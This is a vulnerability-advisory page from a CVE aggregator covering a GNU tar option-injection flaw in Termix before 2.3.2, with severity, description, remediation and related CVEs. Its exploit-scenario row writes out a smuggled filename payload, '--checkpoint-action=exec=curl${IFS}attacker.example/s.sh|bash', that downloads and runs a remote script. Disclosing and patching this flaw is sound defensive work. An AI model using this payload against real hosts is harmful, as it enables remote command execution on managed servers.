EUVD-2026-62858Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Network-accessible web UI (AV:N), low complexity (AC:L), authenticated file-manager session required (PR:L), no additional user interaction needed, full C/I/A impact on managed SSH host within unchanged scope.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Lifecycle Timeline
4DescriptionCVE.org
Termix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities. Prior to 2.3.2, the archive creation endpoint in src/backend/ssh/file-manager.ts passes selected file basenames to tar without an end-of-options marker and without making the operands unambiguously relative. A user with access to an SSH file-manager session can select basenames beginning with GNU tar options such as --checkpoint=1 and --checkpoint-action=exec, causing tar, tar.gz, tar.bz2, or tar.xz creation to interpret those names as options. The resulting checkpoint action executes commands on the managed SSH host with the privileges of the connected SSH account, allowing file disclosure, modification, and service disruption. This issue is fixed in version 2.3.2.
AnalysisAI
Remote command injection in Termix, a web-based SSH server management platform, allows any authenticated user with file-manager access to execute arbitrary commands on a managed SSH host prior to version 2.3.2. The archive creation endpoint in src/backend/ssh/file-manager.ts passes user-supplied file basenames directly to GNU tar without an end-of-options delimiter, enabling an attacker to supply filenames matching tar checkpoint options (e.g., --checkpoint=1, --checkpoint-action=exec=<cmd>) that tar interprets as directives rather than operands. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires a valid authenticated Termix user account with access to the SSH file-manager session feature - this is the product's core functionality and not a non-default configuration. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 3.1 vector AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H accurately characterizes this vulnerability: it is network-reachable, requires no elevated complexity, demands only a low-privileged authenticated session, and yields full confidentiality, integrity, and availability impact on the managed SSH host. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An authenticated Termix user with file-manager access creates two files on the managed SSH host via the file-manager interface, naming them --checkpoint=1 and --checkpoint-action=exec=curl${IFS}attacker.example/s.sh|bash. The user then selects these files and triggers archive creation (e.g., tar.gz). … |
| Remediation | Upgrade Termix to version 2.3.2 or later, the vendor-confirmed fixed release available at https://github.com/Termix-SSH/Termix/releases/tag/release-2.3.2-tag and documented in security advisory GHSA-rwj6-6vh7-45pv at https://github.com/Termix-SSH/Termix/security/advisories/GHSA-rwj6-6vh7-45pv. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: identify all Termix deployments running versions prior to 2.3.2, audit and document all users with file-manager access, and immediately restrict file-manager permissions to a minimal set of essential administrators. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
More in Checkpoint
View allPotentially allowing an attacker to read certain information on Check Point Security Gateways once connected to the inte
backend/comics/comics-document.c (aka the comic book backend) in GNOME Evince before 3.24.1 allows remote attackers to e
Authentication bypass in the Check Point SmartConsole login process lets an unauthenticated remote attacker mint a valid
The huggingface/transformers library is vulnerable to arbitrary code execution through deserialization of untrusted data
PyTorch is a Python package that provides tensor computation. [CVSS 8.8 HIGH]
Check Point ZoneAlarm Extreme Security before 15.8.211.19229 allows local users to escalate privileges. Rated high sever
Remote code execution in PyTorch Lightning through 2.6.5 allows an attacker who can get a victim to load a malicious che
Check Point Endpoint Security Initial Client for Windows before version E81.30 tries to load a DLL placed in any PATH lo
A hard-link created from log file archive of Check Point ZoneAlarm up to 15.4.062 or Check Point Endpoint Security clien
Path traversal in Hugging Face Accelerate through 1.14.0 exposes two distinct attack outcomes when a user loads a crafte
Out-of-bounds read in the Linux kernel drm/amdkfd CRIU checkpoint path leaks kernel memory to userspace on systems with
Multiple unspecified vulnerabilities in Check Point Security Gateway 80 R71.x before R71.45 (730159141) and R75.20.x bef
Same weakness CWE-78 – OS Command Injection
View allSame technique Command Injection
View allShare
External POC / Exploit Code
Leaving vuln.today